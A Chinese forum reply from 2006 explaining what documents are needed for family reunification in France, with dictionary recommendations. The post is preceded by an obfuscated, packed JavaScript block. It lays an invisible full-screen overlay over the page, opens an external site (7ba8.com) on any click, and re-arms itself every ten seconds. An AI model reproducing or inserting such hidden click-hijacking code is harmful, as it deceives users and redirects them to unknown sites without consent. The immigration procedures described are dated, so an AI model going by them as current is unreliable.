<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>关于办理赴法家庭团聚的材料-回复Liyafly 4935491
一旦你拿到法国的家庭户口本(指你和你老公不是在法国结婚,你不曾来过法国),那么你老公可以在法国办理家庭团聚,他作为申请人,可以同时申请你(作为法国公民的配偶)和你的孩子(作为他的继子女)来法国,这个程序按照法国的规定,一般要六个月,具体需要的材料,可以让你老公到移民局要,即Bureau de l'O.M.I. 一般讲(也许各地区会有细微差别)你老公需要准备下列材料:
1 申请人本人(即你老公)的身份证 及复印件
2 结婚证书的原件和复印件,如果你们是在中国领的结婚证,要进行公证后拿到法国有当地法庭指定的翻译译成法文。如果是在法国领的结婚证,要到颁发结婚证所在的marie 要一份Extrait de Mariage j即婚姻证书
3 申请人本人的出生证书(到他所在的marie就能要到)及复印件
4 被申请人(即你的)出生证明的原件和复印件(你的要在国内公证,拿到法国后也要由法庭指定的翻译翻译)
5 你孩子的出生证和出生证的公证书的原件和复印件(也要翻译,要求同上)
6 为了证明你是孩子的法定监护人,需要提供你与原老公的离婚证书(或离婚协议)同时还要提供孩子父亲同意孩子来法国的同意书,要在国内公证,也要在法国翻译。
7 有关工资收入的证明,须提供下列材料:a 你老公最近一年(即从提交材料开始往前12个月,以下同理)的报税单;b 如果你老公是被雇佣者,需要提供工作合同(或者被雇佣的证明)和最近12个月的工资单; c 如果是退休者,须提供有关被给予养老金决定的通知书 或者残废抚恤金并附有效日期,此外应附有最近一年的收入明细证明;d 如果是商人或手工业者,须提供至少3个月在商业部门和公司(指商人),或在职业目录中(指手工业者)或者在自由职业目录即SIRENE中的注册证明,同时要提供上一年度的财务资产负债表。
8 住房证明: a 住房合同及最近一个月的房租收据或房屋所有权的公证书;b 或者由雇主出具的提供居住的证明(或还可以由家庭出具)
9 最近一个月的电费收据单和电话费收据单
10 住房保险证明
11 医疗保险证明
12房补通知(如果享有的话)
13被申请人在其所在国的住址(须翻译,不需公证)
如果你已经获准来法国,你可以在申请签证的同时,申请你女儿,她是作为随行儿童,一般也会得到准许,我不清楚你女儿有多大?如果她不是以家庭团聚的名义到法国(即使随你同往,也是访问者的身份),她早晚也要走家庭团聚的程序,否则,即使在她未成年时可以随你留在法国,但她的身份永远都是visiteur,就是访问者,一旦她成年,当她不能再合法的拿到在法的居留时,她就必须回原国家。当然了,如果你带她到法国,也可以再走家庭团聚的程序,只是一旦被批准,她要回国再重新办理签证的手续。实践中是这样做的。但是严格讲按照有关规定,孩子一旦在法国境内,是不能走家庭团聚程序的。如果你的孩子还小,她可以在法国上学,如果有连续五年以上的学籍,在18岁后她也可以申请法国国籍。不知说清楚没有。总之,有关这方面的情况比较复杂,要具体问题具体分析。
关于字典,我有桑母通译,但不常用,因为对我来讲,词汇量有限尤其我搞法律。但对你来讲是足够了,可以法译汉,汉译法,可以英译汉,汉译英。还可以自建词库。不知你过来准备工作与否。如果想学好法语,还是要买一本好的字典。原来上海译文出版社的法汉字典就很好(比较适合你吧),但去年1月又出了一本《新世纪法汉大词典》,是陈振尧主编的,很好,词汇很新,只是例句都是引用的文学名著里的原句,因此就你目前的情况,也许难了些。还有国内很多法语老师推荐买拉鲁斯双解词典,我不敢苟同,例句很少,词义也不多。再有,可以买一本商务印书馆出的《汉法词典》,对与法国人交流很有帮助。此外,对于日常生活而言,可以买本商务印书馆出的《汉法实用词汇汇编》,它是按分类进行编排的。
最后祝你顺利
[该贴被 作者villemin 修改于 2006-8-22 2:46:18] |